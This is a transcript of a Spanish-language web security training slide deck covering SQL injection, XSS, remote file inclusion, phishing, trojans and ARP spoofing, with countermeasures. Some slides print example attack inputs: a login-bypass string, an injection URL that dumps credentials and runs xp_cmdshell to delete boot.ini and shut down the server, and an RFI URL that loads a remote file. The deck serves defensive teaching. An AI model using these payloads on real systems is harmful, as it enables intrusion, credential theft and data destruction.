Seguridad en Aplicaciones Web - PowerPoint PPT Presentation

1 / 94
About This Presentation
Title:

Seguridad en Aplicaciones Web

Description:

Zone-h contabiliza 2.500 intrusiones Web con xito cada d a en 2004. ... Mediante esta t cnica se puede robar sesiones de una manera bastante sencilla ... – PowerPoint PPT presentation

Number of Views:519
Avg rating:3.0/5.0
Slides: 95
Provided by: Ras111
Category:

less

Transcript and Presenter's Notes

Title: Seguridad en Aplicaciones Web


1
Seguridad en Aplicaciones Web
2
Amenazas Web
  • Chema Alonso
  • MS MVP Windows Server Security
  • chema_at_informatica64.com

3
Agenda Amenazas Web
  • Aplicaciones Web
  • Vulnerabilidades Sql Injection
  • Vulnerabilidades Cross-Site Scripting
  • Vulnerabilidades RFI
  • Vulnerabilidades Phising
  • Vulnerabilidades WebTrojan
  • Vulnerabilidades Capa 8

4
Aplicaciones Web
5
Tipos de Aplicaciones Web
  • Web Site público.
  • Información destinada al público.
  • Intranet (ERP/CRM/Productividad)
  • Información privada de acceso interno.
  • Extranet (Productividad/B2B/B2C)
  • Información privada de acceso externo.

6
Arquitectura Multicapa
Almacén De Datos
Lógica de la Aplicación
Interfaz de Usuario (GUI)
DCOM
BBDD
WebServer
Browser
WebService
BBDD
WebServer
RPC
7
Amenazas
  • Zone-h contabiliza 2.500 intrusiones Web con
    éxito cada día en 2004.
  • Se atacan todas las tecnologías
  • Los ataques se han escalado desde el sistema
    operativo a la aplicación.
  • Ataques no masivos.
  • Motivos
  • Económicos
  • Venganza
  • Reto
  • Just For Fun

8
Cliente - Riesgos
  • Navegador de Internet
  • Ejecuta código en contexto de usuario.
  • Lenguajes potentes
  • HTML/DHTML
  • vbScript/JavaScript/Jscript
  • Programas embebidos
  • Applets Java
  • ActiveX
  • Shockwave Flash
  • Códigos No protegidos
  • Cifrado cliente Atrise.
  • Ofuscación de código.

9
Código y poder
  • El código fuente es poder
  • Tanto para defenderse como para atacar
  • Compartir el código es compartir el poder.
  • Con los atacantes y defensores
  • Publicar el código fuente sin hacer nada más
    degrada la seguridad
  • Por el contrario, publicar el código fuente
    permite a los defensores y a otros elevar la
    seguridad al nivel que les convenga.

10
Software Seguro
  • El software Fiable es aquel que hace lo que se
    supone que debe hacer.
  • El software Seguro es aquel que hace lo que se
    supone que debe hacer, y nada mas.
  • Son los sorprendentes algo mas los que producen
    inseguridad.
  • Para estar seguro, debes de ejecutar solo
    software perfecto -)
  • O, hacer algo para mitigar ese algo mas

11
Cliente - Riesgos
  • Ninguna protección en cliente es buena
  • Utilización de técnicas de MITM
  • Achilles
  • BurpSuite
  • Odysseus
  • Decompiladores
  • Flash
  • Java

12
Lógica de Aplicación - Riesgos
  • Servidor Web
  • Ejecuta código en contextos privilegiados.
  • Lenguajes potentes
  • Acceden a BBDD
  • Envían programas a clientes
  • Transferir ficheros
  • Ejecutar comandos sobre el sistema.
  • Soporte para herramientas de administración de
    otro software.
  • Códigos de Ejemplo

13
Almacén de Datos - Riesgos
  • SGBD
  • Lenguaje de 3ª y 4ª Generación.
  • Soporta múltiples bases de datos.
  • Catálogo global de datos.
  • Ejecuta programas sobre Sistema.
  • LOPD.
  • Transacciones económicas.
  • Información clave de negocio.

14
Vulnerabilidades SQL Injection
15
Explotación del Ataque
  • Aplicaciones con mala comprobación de datos de
    entrada.
  • Datos de usuario.
  • Formularios
  • Text
  • Password
  • Textarea
  • List
  • multilist
  • Datos de llamadas a procedimientos.
  • Links
  • Funciones Scripts
  • Actions
  • Datos de usuario utilizados en consultas a base
    de datos.
  • Mala construcción de consultas a bases de datos.

16
Riesgos
  • Permiten al atacante
  • Saltar restricciones de acceso.
  • Elevación de privilegios.
  • Extracción de información de la Base de Datos
  • Parada de SGBDR.
  • Ejecución de comandos en contexto usuario bd
    dentro del servidor.

17
Tipos de Ataques
  • Ejemplo 1
  • Autenticación de usuario contra base de datos.
  • Select idusuario from tabla_usuarios
  • Where nombre_usuariousuario
  • And claveclave

Usuario
Clave

18
Tipos de Ataques
  • Ejemplo 1 (cont)
  • Select idusuario from tabla_usuarios
  • Where nombre_usuarioAdministrador
  • And clave or 11

Usuario
Administrador
Clave
or 11
19
Demo
20
Tipos de Ataques
  • Ejemplo 2
  • Acceso a información con procedimientos de
    listado.
  • http//www.miweb.com/prog.asp?parametro1hola
  • Ó
  • http//www.miweb.com/prog.asp?parametro11

21
Tipos de Ataques
  • Ejemplo 2 (cont)
  • http//www.miweb.com/prog.asp?parametro1 union
    select nombre, clave,1,1,1 from tabla_usuarios
    otra instrucción xp_cmdshell(del c\boot.ini)
    shutdown --
  • Ó
  • http//www.miweb.com/prog.asp?parametro1-1 union
    select ..... otra instrucción --

22
Demo
23
Contramedidas
  • No confianza en medias de protección en cliente.
  • Comprobación de datos de entrada.
  • Construcción segura de sentencias SQL.
  • Fortificación de Servidor Web.
  • Códigos de error.
  • Restricción de verbos, longitudes, etc..
  • Filtrado de contenido HTTP en Firewall.
  • Fortificación de SGBD.
  • Restricción de privilegios de motor/usuario de
    acceso desde web.
  • Aislamiento de bases de datos.

24
Contramedidas
  • Desarrollo .NET
  • Redirigir a una página personalizada en caso de
    error
  • Web.Config
  • Mode ? On, Off, RemoteOnly
  • DefaultRedirect ? Error no especificado
  • lterrorgt?Errores específicos

ltcustomErrors mode"RemoteOnly"
defaultRedirect"GenericErrorPage.htm"gt
lterror statusCode"403" redirect"NoAccess.htm"/gt
lterror statusCode"404" redirect"FileNotFound
.htm"/gt lt/customErrorsgt
25
Contramedidas
  • Desarrollo .NET (Validadores)

26
Contramedidas
protected void Button1_Click(object sender,
EventArgs e) SqlConnection conn new
SqlConnection(connstr) conn.Open()
SqlCommand cmd new SqlCommand()
cmd.Connection conn cmd.CommandText
"Select from Usuarios where login'"
txtLogin.Text " and password'"
txtPassword.Text "'" cmd.CommandType
CommandType.Text SqlDataReader dr
cmd.ExecuteReader() if (dr.HasRows)
//Código para permitir el paso a la
aplicación Response.Write("ltscriptgtale
rt('Acceso permitido')lt/scriptgt")
else //Codigo para rechazar el
usuario Response.Write("ltscriptgtalert(
'Acceso denegado')lt/scriptgt")
conn.Close()
  • Desarrollos en .NET (Código inseguro)

27
Contramedidas
  • Desarrollo .NET (Código seguro)
  • Consultas parametrizadas

protected void Button1_Click(object sender,
EventArgs e) SqlConnection conn new
SqlConnection(connstr) conn.Open()
SqlCommand cmd new SqlCommand()
cmd.Connection conn cmd.CommandText
"Select from Usuarios where login_at_login
and password_at_pass"
cmd.Parameters.AddWithValue("login", txtLogin)
cmd.Parameters.AddWithValue("pass",
txtPassword.Text) cmd.CommandType
CommandType.Text dr cmd.ExecuteReader()
if (dr.HasRows)//Código para permitir
el paso a la aplicación Response.Write("ltscriptgta
lert('Acceso permitido')lt/scriptgt")
else//Codigo para rechazar el usuario
Response.Write("ltscriptgtalert('Acceso
denegado')lt/scriptgt") conn.Close()

28
Vulnerabilidades Cross-Site Scripting (XSS)
29
Explotación del Ataque
  • Datos almacenados en servidor desde cliente.
  • Datos van a ser visualizados por otros
    cliente/usuario.
  • Datos no filtrados. No comprobación de que sean
    dañinos al cliente que visualiza.

30
Riesgos
  • Ejecución de código en contexto de usuario que
    visualiza datos.
  • Navegación dirigida
  • Phising
  • Spyware
  • Robo de credenciales
  • Ejecución de acciones automáticas
  • Defacement

31
Tipos de Ataques
  • Mensajes en Foros.
  • Firma de libro de visitas.
  • Contactos a través de web.
  • Correo Web.
  • En todos ellos se envían códigos Script dañinos.

32
Demo
33
Robo de Sesiones (XSS)
  • Mediante esta técnica se puede robar sesiones de
    una manera bastante sencilla
  • Bastaría con realizar un script que llamase a una
    página alojada en nuestro servidor pasándole la
    cookie
  • Este Script se colaría en el servidor de la
    victima aprovechando un punto vulnerable a XSS
  • Cuando un usuario este logueado en el servidor y
    ejecute el script se enviara a nuestro servidor
    el contenido de la cookie

34
Robo de Sesiones (XSS)
  • Una vez que la página obtiene la cookie
    (almacenandola por ejemplo en un fichero)
    mediante programas como Odysseus se puede hacer
    una llamada al servidor pasándole la cookie
    original
  • Por supuesto esta cookie es válida para robar la
    sesión solo mientras el usuario no cierre la
    sesión

35
Demo
36
Contramedidas
  • Fortificación de aplicación
  • Comprobación fiable de datos
  • Fortificación de Clientes
  • Ejecución de clientes en entorno menos
    privilegiado.
  • Fortificación de navegador cliente.
  • MBSA.
  • Políticas.

37
Contramedidas
  • Desarrollo .NET
  • En ASP.NET el Cross Site Scripting está
    deshabilitado por defecto
  • El Framework se encarga de buscar posibles
    ataques de este tipo en las entradas de datos
  • Se puede deshabilitar este tipo de verificación
    mediante un atributo de la directiva _at_Page
  • Para deshabilitarlo

lt_at_ Page ValidateRequestfalse gt
38
Vulnerabilidades Remote File Inclusion (RFI)
39
Remote File Inclusion (RFI)
  • Vulnerabilidad propia de páginas PHP dinámicas
    que permite enlace de archivos remotos situados
    en otros servidores
  • Se debe a una mala programación o uso de la
    función include()
  • Esta vulnerabilidad no se da en páginas
    programadas en un lenguaje que no permita la
    inclusión de ficheros ajenos al servidor

40
Remote File Inclusion (RFI)
  • La vulnerabilidad es producida por código
    semejante a este
  • En páginas de este tipo se puede incluir ficheros
    que estén en nuestro servidor

page _GET'page' include(page)
http//victima.com/pagvuln.php?pagehttp//misiti
o/miFichero
41
Remote File Inclusion (RFI)
  • Existen herramientas que permite explorar un
    sitio Web en busca de este tipo de
    vulnerabilidades (rpvs)

42
Remote File Inclusion (RFI)
  • Mediante las shell PHP se pueden ejecutar
    comandos en una página Web
  • Usando RFI se puede incluir un fichero que
    ejecute comandos, tales como listar directorios,
    obtener y colocar ficheros, etc.
  • El inconveniente es que la mayoría de
    servidores Web en PHP tienen deshabilitadas las
    funciones exec, system o passthru que impiden la
    ejecución de comandos

43
Remote File Inclusion (RFI)
  • Sin embargo, existen funciones como
    show_source(archivo) que permiten la
    visualización del código fuente de una página
  • A su vez, existen otra serie de funciones que nos
    permiten listar el contenido de un directorio
  • El uso de estas funciones no puede ser limitado y
    no depende del SO sobre el que se encuentra
    instalado el Servidor Web

44
Demo
45
Vulnerabilidades Phising
46
Explotación del Ataque
  • Basado en técnicas de Ingeniería Social.
  • Se aprovecha de la confianza de los usuarios.
  • Se aprovecha de la falta de formación en
    seguridad de los usuarios.
  • Certificados digitales no generados por Entidades
    Emisoras de Certificados de confianza.

47
Riesgos
  • Suplantación de Sitios Web para engañar al
    usuario.
  • Robo de credenciales de acceso a web
    restringidos.
  • Robo de dinero
  • Compras por Internet
  • Bromas pesadas

48
Tipos de Ataques
  • Se falsea la dirección de DNS del servidor
  • Falsificación hosts
  • Troyanos, Físicamente, Shellcodes exploits
  • DHCP
  • DNS Spoofing
  • Man in The Middle
  • Se engaña la navegación.
  • Frames Ocultos
  • URLs falseadas.
  • Se implanta en la nueva ubicación un servidor
    replica.
  • Se implantan hasta fakes de certificados
    digitales

49
Exploits
infohacking.com
50
Contramedidas
  • Uso de CA de confianza
  • Formación a usuarios
  • Gestión de actualizaciones de seguridad
  • Códigos de aplicaciones seguras
  • Control físico de la red
  • Comprobación DHCP

51
Vulnerabilidades WebTrojan
52
Explotación de Ataque
  • Servidores Web no fortificados
  • Ejecución de programas en almacenes de ficheros.
  • Subida de ficheros a servidores.
  • Imágenes para publicaciones.
  • Archivos de informes.
  • Currículos, cuentos, etc...
  • Almacenes de ficheros accesibles en remoto
  • Usuario en contexto servidor Web no controlado

53
Riesgos
  • Implantación de un troyano que puede
  • Gestionar ficheros
  • Ejecutar programas
  • Destrozar el sistema
  • Defacement
  • Robo de información
  • ....

54
Tipos de Ataques
  • Programación de un troyano en PHP, ASP o JSP
  • Utilización de objetos FileObject
  • Subida mediante ASP Upload, FTP o RFI
  • Busqueda del lugar de almacenamiento
  • Invocación por URL pública del servidor Web

55
Demo
56
Contramedidas
  • Fortificación de servidores Web
  • Menor Privilegio
  • Ejecución de programas en sitios restringidos
  • Listado de directorios ocultos
  • Usuario de servidor en contexto controlado
  • Subida de archivos controlada
  • Ubicación no accesible desde URL pública
  • Tipos de ficheros controlados
  • Tamaño, tipo, extensión, etc..
  • Filtrado vírico -gt Rootkits

57
Contramedidas
  • Desarrollo .NET
  • En ASP.NET se puede verificar la extensión del
    fichero que se sube al servidor
  • Evita la subida de ficheros potencialmente
    peligrosos

if (!FileUpload1.PostedFile.FileName.EndsWith(".jp
g")) //Error El fichero no es del
tipo esperado
58
Vulnerabilidades Capa 8
59
Explotación de Ataque
  • Falta de conocimiento SD3
  • Diseño
  • Configuraciónes
  • Implantación
  • Administradores/Desarrolladores no formados en
    Seguridad
  • Hacking Ético
  • Falta de conocimiento del riesgo

60
Riesgos
  • Insospechados
  • Bases de datos públicas
  • No protección de datos
  • No protección de sistemas
  • .....

61
Tipos de Ataques
  • Hacking Google
  • Administradores predecibles
  • http//www.misitio.com/administracion
  • http//www.misitio.com/privado
  • http//www.misitio.com/gestion
  • http//www.misitio.com/basedatos
  • Ficheros log públicos
  • WS_ftp.log
  • Estadísticas públicas
  • Webalyzer

62
Demo
63
Contramedidas
  • Formación
  • Ficheros Robots
  • Robots.txt
  • LOPD y LSSI
  • www.lssi.es
  • Writting Secure Code

64
Contramedidas
65
Preguntas ?
66
Troyanos
  • Hay un amigo en mi

67
Video
  • Que puede hacer un troyano

68
Troyano
  • Programa que se ejecuta en tu máquina y cuyo
    control no depende de ti.
  • Como el ..
  • Mil formas, mil colores
  • Los Hackers la llaman la girlfriend

69
Obtención de Privilegios
  • Fallo en la cadena
  • Procesos
  • Sistema no cerrado.
  • Tecnología
  • Fallo en sw de sistema operativo
  • Fallo en sw ejecución de códigos.
  • Personas
  • Ingeniería Social Que lindo programita!
  • Navegación privilegiada

70
Objetivos
  • Control remoto
  • Instalan suites de gestión del sistema.
  • Robo de información
  • Modificación del sistema
  • Phishing
  • Creación de usuarios
  • Planificación de tareas
  • ....

71
Instalación del Troyano
  • Se suele acompañar de un caballo para
    tranquilizar a la víctima.
  • Se añaden a otro software.
  • EJ Whackamole
  • Joiners, Binders
  • Incluidos en documentos que ejecutan código
  • Word, excel, swf, .class, pdf, html, etc...

72
Instalación del Troyano
  • Simulando ser otro programa
  • P2P, HTTP Servers
  • Paquetes Zip autodescomprimibles
  • Programas con fallo de .dll
  • Instaladores de otro SW

73
Demo
  • Un troyano de andar por casa pa phisear

74
Demo
  • Un troyano de andar por casa pa meter un backdoor

75
Demo
  • Un troyano de andar por casa pa abrir una shell

76
Demo
  • Un troyano de andar por casa pa robar una shell

77
Detección de Troyanos
  • Anti-Mallware
  • Antivirus
  • AntiSpyware
  • Comportamiento anómalo del sistema
  • Configuraciones nuevas
  • Cambio en páginas de navegación
  • Puertos
  • ....

78
Prevención contra Troyanos
  • Defensa en Profundidad
  • Mínimo Privilegio Posible
  • Mínimo punto de exposición
  • Gestión de updates de seguridad
  • Antivirus/AntiSpyware
  • Ejecución controlada de programas
  • Navegación segura

79
AtaqueEnvenenamiento ARP
80
RFC 1180 - TCP/IP tutorial
There are security considerations within the
TCP/IP protocol suite. To some people these
considerations are serious problems, to others
they are not it depends on the user
requirements. This tutorial does not discuss
these issues, but if you want to learn more you
should start with the topic of ARP-spoofing, then
use the "Security Considerations" section of RFC
1122 to lead you to more information.
81
Técnicas de Spoofing
  • Las técnicas spoofing tienen como objetivo
    suplantar validadores estáticos

Un validador estático es un medio de
autenticación que permanece invariable antes,
durante y después de la concesión.
82
Niveles Afectados
Nombres de dominio Direcciones de correo
electrónico Nombres de recursos compartidos
SERVICIO
RED
Dirección IP
ENLACE
Dirección MAC
83
Tipos de técnicas de Spoofing
  • Spoofing ARP
  • Envenenamiento de conexiones.
  • Man in the Middle.
  • Spoofing IP
  • Rip Spoofing.
  • Hijacking.
  • Spoofing SMTP
  • Spoofing DNS
  • WebSpoofing.

84
Técnicas de Sniffing
  • Capturan tráfico de red.
  • Necesitan que la señal física llegue al NIC.
  • En redes de difusión mediante concentradores
    todas las señales llegan a todos los
    participantes de la comunicación.
  • En redes conmutadas la comunicación se difunde en
    función de direcciones.
  • Switches utilizan dirección MAC.

85
Nivel de Enlace Spoofing ARP
  • Suplantar identidades físicas.
  • Saltar protecciones MAC.
  • Suplantar entidades en clientes DHCP.
  • Suplantar routers de comunicación.
  • Solo tiene sentido en comunicaciones locales.

86
Dirección Física
  • Tiene como objetivo definir un identificador
    único para cada dispositivo de red.
  • Cuando una máquina quiere comunicarse con otra
    necesita conocer su dirección física.
  • Protocolo ARP
  • No se utilizan servidores que almacenen registros
    del tipo
  • Dirección MAC lt-gt Dirección IP.
  • Cada equipo cuenta con una caché local donde
    almacena la información que conoce.

87
Ataque ARP Man In The Middle
1.1.1.2 esta en998877665544
1.1.1.1 esta en 998877665544
1.1.1.1
Quien tiene 1.1.1.2?
1.1.1.2 esta en 00112233445566
1.1.1.2
88
Protección contra Envenenamiento
  • Medidas preventivas.
  • Control físico de la red.
  • Bloqueo de puntos de acceso.
  • Segmentación de red.
  • Gestión de actualizaciones de seguridad.
  • Protección contra Exploits.
  • Protección contra troyanos.

89
Protección contra Envenenamiento
  • Medidas preventivas.
  • Cifrado de comunicaciones.
  • IPSec.
  • Cifrado a nivel de Aplicación
  • S/MIME.
  • SSL.
  • Certificado de comunicaciones.

90
Protección contra Envenenamiento
  • Medidas reactivas.
  • Utilización de detectores de Sniffers.
  • Utilizan test de funcionamiento anómalo.
  • Test ICMP.
  • Test DNS.
  • Test ARP.
  • Sistemas de Detección de Intrusos

91
Frase vs. Passwords
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
92
Web MVPs
93
TechNews
  • Suscripción gratuita enviando un mail
  • mailtotechnews_at_informatica64.com

94
Contacto
  • Chema Alonso
  • chema_at_informatica64.com
  • Informatica64
  • http//www.informatica64.com
  • http//www.informatica64.com/hol.htm
  • http//elladodelmal.blogspot.com
  • i64_at_informatica64.com
  • 34 91 226 82 08
Write a Comment
User Comments (0)
About PowerShow.com